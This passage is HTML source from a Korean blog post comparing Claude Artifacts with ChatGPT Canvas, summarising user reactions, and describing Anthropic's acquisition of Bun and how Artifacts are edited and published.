&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Canvas에서는 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;가격 ($20/월 기준)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Pro $20/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;ChatGPT Plus $20/월&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://xsoneconsultants.com/blog/chatgpt-canvas-vs-claude-artifacts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;XsOne Consultants 비교 분석&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.aifire.co/p/detailed-comparison-for-interactive-tools-canvas-or-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AIFire 비교 분석&lt;/a&gt; 등 서드파티 비교 기반. Anthropic 또는 OpenAI의 공식 비교 문서는 존재하지 않음.)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Simon Willison의 조언 (2025년 12월)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude, ChatGPT, Gemini 세 플랫폼 모두 간단한 HTML+JS 앱을 빌드하고 미리보기할 수 있다. 그러나 React 기반 출력물은 추출하기 어렵고 버그가 더 많으므로, 프롬프트에 &lt;b&gt;&quot;No React&quot;&lt;/b&gt;를 명시하는 것을 권장한다. 이는 Claude, ChatGPT, Gemini 모두에 해당하는 조언이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://simonwillison.net/2025/Dec/10/html-tools/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison - Useful patterns for building HTML tools&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;배포 기능의 결정적 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 큰 차별점은 &lt;b&gt;배포(Deployment)&lt;/b&gt;다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클로드:&lt;/b&gt; Artifact 우측 상단의 &lt;b&gt;'Share(공유)' 버튼&lt;/b&gt;을 클릭한 뒤, 팝업에서 &lt;b&gt;'Publish &amp;amp; Copy Link'&lt;/b&gt;를 누르면 공개 URL이 생성된다. 누구나 링크만으로 접근 가능하고, Claude 계정이 있으면 &lt;b&gt;'Customize'(리믹스)&lt;/b&gt;하여 자기 버전으로 수정할 수 있다. 임베드 코드도 제공된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ChatGPT:&lt;/b&gt; Canvas에서 생성된 코드를 수동으로 복사/다운로드한 뒤 별도로 배포해야 한다. 네이티브 퍼블리시 기능은 없다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9547008-publishing-and-sharing-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Publishing and sharing artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 현장 반응 &amp;mdash; 찬사와 불만 모두&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;컴뮤니티 내용을 종합하면, Artifacts에 대한 반응은 &lt;b&gt;&quot;진짜 마법 같다, 근데 한계가 답답하다&quot;&lt;/b&gt;로 요약된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;긍정적 반응:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;뱀 게임 만들어줘&quot; &amp;rarr; 10초 만에 플레이 가능:&lt;/b&gt; Canvas가 코드만 보여줄 때, Artifacts는 우측 패널에서 바로 게임이 돌아간다. 이 차이를 경험한 사람들이 &quot;게임 체인저&quot;라고 부른다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비개발자의 즉시 프로토타이핑:&lt;/b&gt; 교사가 수학 시각화를 만들고, 마케터가 랜딩페이지를 뽑고, 기획자가 인터랙티브 대시보드를 만든 사례가 Reddit에 꾸준히 올라온다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 3월 인라인 시각화:&lt;/b&gt; TechRadar는 이 기능을 &lt;b&gt;&quot;가장 재미있는 AI 트릭 중 하나&quot;&lt;/b&gt;라고 평가했다. 대화 흐름 안에서 차트가 자연스럽게 나타나는 경험이 기존 사이드 패널과 확실히 다르다는 반응이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.techradar.com/ai-platforms-assistants/claude/i-tried-claudes-new-interactive-visuals-feature-and-its-one-of-the-most-fun-ai-tricks-ive-seen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechRadar: I tried Claude's new interactive visuals&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;부정적 반응 &amp;mdash; 솔직한 불만들:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;작은 수정인데 전체를 다시 쓴다&quot;:&lt;/b&gt; 가장 많이 반복되는 불만이다. 한 줄 고쳐달라고 했는데 전체 Artifact를 재생성하면서 잘 되던 부분까지 바뀌어 버린다. 2025년 10월에 인라인 텍스트 교체 방식으로 &lt;b&gt;3~4배 빨라진 업데이트&lt;/b&gt;가 적용됐지만, 여전히 &quot;덮어쓰기&quot; 방식에 대한 불만은 남아 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;샌드박스가 너무 빡빡하다&quot;:&lt;/b&gt; 외부 API를 호출하거나 CDN에서 라이브러리를 자유롭게 가져올 수 없다. &quot;장난감 만들기엔 좋은데, 실제 데이터를 불러오는 프로토타입은 못 만든다&quot;는 의견이 r/ClaudeAI에서 반복적으로 등장한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;Artifact가 갑자기 사라진다&quot;:&lt;/b&gt; 예고 없이 Artifact가 날아가서 토큰을 낭비하며 다시 만들어야 하는 경우가 보고된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;모바일에서는 거의 못 쓴다&quot;:&lt;/b&gt; 데스크톱에서는 잘 돌아가지만, 모바일에서 렌더링이 깨지거나 기능이 제한된다는 불만이 꾸준하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사용량 제한:&lt;/b&gt; 유료 구독자도 프로젝트 중간에 &quot;Opus 차단&quot; 메시지를 받는다는 불만이 Pro 사용자 사이에서 가장 빈번한 불만 1위로 꼽힌다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@intranetfactory/claude-artifacts-a-game-changer-held-back-by-frustrating-limits-6adcacdd95a7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Martin Amm: &quot;A Game-Changer Held Back by Frustrating Limits&quot;&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://p0stman.com/guides/claude-artifacts-limitations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;P0stman: Claude Artifacts Limitations&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;용도별 커뮤니티 평가 요약&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;용도&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;평가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;프론트엔드/시각화&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;Artifacts 우세&lt;/b&gt;&lt;/span&gt; &amp;mdash; 라이브 렌더링이 결정적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;정밀한 코드 편집&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Canvas 우세&lt;/b&gt;&lt;/span&gt; &amp;mdash; 하이라이트 후 부분 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;데이터 분석&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ChatGPT 우세&lt;/b&gt;&lt;/span&gt; &amp;mdash; Code Interpreter(Python 실행) 강점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;프로덕션 앱 빌드&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;b&gt;Lovable/Bolt/v0 영역&lt;/b&gt; &amp;mdash; Artifacts는 프로토타입용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브 코딩 도구와의 비교 &amp;mdash; Artifacts의 포지션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Lovable, Bolt.new, v0(Vercel)와 같은 전문 바이브 코딩 플랫폼이 빠르게 성장하면서, Artifacts가 이 시장에서 어떤 위치인지 궁금해하는 사람이 많다. 결론부터 말하면 &lt;b&gt;경쟁 관계가 아니라 용도가 다르다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Artifacts:&lt;/b&gt; 대화 안에서 즉석으로 만드는 &lt;b&gt;단일 파일 프로토타입&lt;/b&gt;. 아이디어 검증, 시각화, 교육용에 적합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Lovable/Bolt/v0:&lt;/b&gt; 프론트엔드 + 백엔드 + DB + 배포를 한 번에 해결하는 &lt;b&gt;풀스택 앱 빌더&lt;/b&gt;. MVP나 프로덕션 앱을 빌드할 때 적합&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 비교 분석에 따르면, Lovable, Bolt, v0 모두 생성된 코드의 &lt;b&gt;40~45% 취약점 비율&lt;/b&gt;을 보이며, 어떤 도구를 쓰든 보안 리뷰는 필수다. Artifacts든 Lovable이든 &quot;AI가 만들었으니 안전하겠지&quot;는 위험한 가정이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://p0stman.com/compare/lovable-vs-claude-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;P0stman: Lovable vs Claude Artifacts&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://particula.tech/blog/lovable-vs-bolt-vs-v0-ai-app-builders&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Particula: Lovable vs Bolt vs v0 2026&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 생성 코드의 보안&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 생성한 코드를 프로덕션에 배포할 때는 반드시 보안 리뷰를 거쳐야 한다. 이 문제는 클로드뿐만 아니라 &lt;b&gt;모든 AI 코딩 도구&lt;/b&gt;에 해당한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: Bun 인수 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Bun 인수&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;인수 배경과 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2025년 12월&lt;/b&gt;, Anthropic은 자바스크립트 런타임 혁신 기업 &lt;b&gt;Oven(Bun의 모회사)&lt;/b&gt;을 인수했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 인수가 발표된 시점은 Claude Code가 2025년 11월 &lt;b&gt;연간 환산 매출(run-rate revenue) 10억 달러&lt;/b&gt;를 달성한 직후였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Bun이란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun은 Jarred Sumner가 2021년에 만든 올인원 JavaScript/TypeScript 툴킷이다. &lt;b&gt;런타임 + 패키지 매니저 + 번들러 + 테스트 러너&lt;/b&gt;를 하나로 통합했다. Apple의 JavaScriptCore 엔진을 사용하여 Node.js보다 빠른 시작 시간과 낮은 메모리 사용량을 자랑한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;인수 시점 기준: 월 700만+ 다운로드, GitHub 스타 82,000+&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용 기업: Midjourney, Lovable 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술적 의미&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 공식 발표에 따르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;i&gt;&quot;Anthropic은 획기적인 자바스크립트 런타임인 Bun을 인수하여 Claude Code를 더욱 가속화한다.&quot;&lt;/i&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;i&gt;&quot;Claude Code 사용자에게 이 인수는 더 빠른 성능, 향상된 안정성, 새로운 기능을 의미한다.&quot;&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun 창시자 Jarred Sumner의 발표에 따르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;i&gt;&quot;Anthropic은 Bun을 Claude Code, Claude Agent SDK, 그리고 미래의 AI 코딩 제품과 도구를 구동하는 인프라로 투자하고 있다.&quot;&lt;/i&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun은 &lt;b&gt;4년 이상의 운영 자금&lt;/b&gt;이 있어 매각할 필요가 없었지만, Anthropic과 합류하면 수익화 고민을 건너뛸 수 있다고 밝혔다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun은 &lt;b&gt;MIT 라이선스로 오픈소스를 유지&lt;/b&gt;한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bun.com/blog/bun-joins-anthropic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bun Blog: Bun is joining Anthropic&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code와의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code는 이미 Bun 위에서 실행된다.&lt;/b&gt; 구체적으로:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude Code의 기술 스택: &lt;b&gt;TypeScript + React + Ink(터미널 UI) + Yoga(Meta 레이아웃 엔진) + Bun&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun의 &lt;b&gt;단일 실행 파일(Single-file executable)&lt;/b&gt; 컴파일 기능으로 Claude Code가 배포됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun이 Webpack/Vite보다 빠른 빌드 속도를 제공하여 Claude Code의 빌드 프로세스를 대체&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://newsletter.pragmaticengineer.com/p/how-claude-code-is-built&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Pragmatic Engineer: How Claude Code is built&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: Artifacts와 Bun의 관계&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun이 &lt;b&gt;Claude Code&lt;/b&gt;의 런타임/빌드 도구로 사용되는 것은 공식적으로 확인된 사실이다. 그러나 Bun이 &lt;b&gt;Claude.ai 웹 인터페이스의 Artifact 렌더링&lt;/b&gt;에 사용되는지는 공식 확인되지 않았다. Artifacts는 브라우저의 샌드박스된 iframe에서 클라이언트 사이드로 실행되는 것으로 알려져 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;어쨌든, Bun 인수가 Anthropic이 &lt;b&gt;자바스크립트 생태계에 크게 베팅했다&lt;/b&gt;는 신호인 건 분명하다. GitHub의 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/oven-sh/bun/issues/25929&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;이슈 #25929&lt;/a&gt;에는 &quot;Bun as a secure sandbox runtime for AI agent code execution&quot;이라는 제목의 논의가 진행 중이며, Bun을 AI 에이전트가 코드를 안전하게 돌리는 런타임으로 키우겠다는 방향성이 보인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: CSS 수정 마법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 자연어 한마디로 CSS가 수정되는 마법???&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun 인수 이야기는 잠시 제쳐두고, 사용자 입장에서 더 와닿는 건 &lt;b&gt;'실시간 수정'&lt;/b&gt;이다. DevTools도 필요 없고, 코드를 직접 건드릴 필요도 없다. &lt;b&gt;말로 하면 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어, 시각화된 차트의 숫자가 너무 작아 보이지 않는 '라벨 버그'가 발생했다고 하자:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;초기 렌더링:&lt;/b&gt; 클로드가 포트폴리오 파이차트를 생성했으나 비중 라벨이 너무 작아 식별 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;자연어 명령:&lt;/b&gt; &quot;비중 부분이 너무 작아서 안 보여. 간을 넓혀줘.&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;즉각적 수정:&lt;/b&gt; 클로드가 CSS의 &lt;code&gt;font-size&lt;/code&gt;, &lt;code&gt;padding&lt;/code&gt;, &lt;code&gt;percentage-label&lt;/code&gt; 스타일을 자동 수정하여 화면을 즉시 갱신&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기존 방식과 뭐가 다른가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;원래 프론트엔드 디버깅은 DevTools를 열고, 요소를 찾고, CSS를 수정하고, 코드에 반영하는 순서였다. Artifacts에서는 이 과정 전체가 &lt;b&gt;자연어 한 문장&lt;/b&gt;으로 끝난다. AI와 사용자가 같은 화면을 보며 함께 고치는 &lt;b&gt;'라이브 작업 공간(Live Workspace)'&lt;/b&gt;에 가깝다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이런 식의 수정은 CSS에 국한되지 않는다. 몇 가지 예를 더 살펴보면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;다크 모드로 바꿔줘&quot;&lt;/b&gt; &amp;rarr; 배경색, 텍스트 색상, 보더 색상이 한 번에 전환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;모바일에서도 잘 보이게 반응형으로 만들어줘&quot;&lt;/b&gt; &amp;rarr; 미디어 쿼리가 추가되어 레이아웃이 재구성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;바 차트를 파이차트로 변경해줘&quot;&lt;/b&gt; &amp;rarr; Recharts 컴포넌트가 교체되어 완전히 다른 시각화가 렌더링&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 제로 컨피그 배포 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. '0원' 무한 배포 파이프라인&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내장 퍼블리시 기능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 결과물은 채팅창 안에 갇혀 있지 않다. &lt;b&gt;사이드 패널에 생성된 Artifact&lt;/b&gt;의 경우, 우측 상단의 &lt;b&gt;Share(공유) 버튼&lt;/b&gt;을 클릭하면 팝업이 뜨고, 여기서 &lt;b&gt;'Publish &amp;amp; Copy Link'&lt;/b&gt;를 누르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude.ai/public/artifacts/...&lt;/code&gt; 형태의 &lt;b&gt;공개 URL&lt;/b&gt;이 생성되고 클립보드에 복사됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;누구나 링크만으로 접근 가능 (Claude 계정 불필요)&lt;/li&gt;
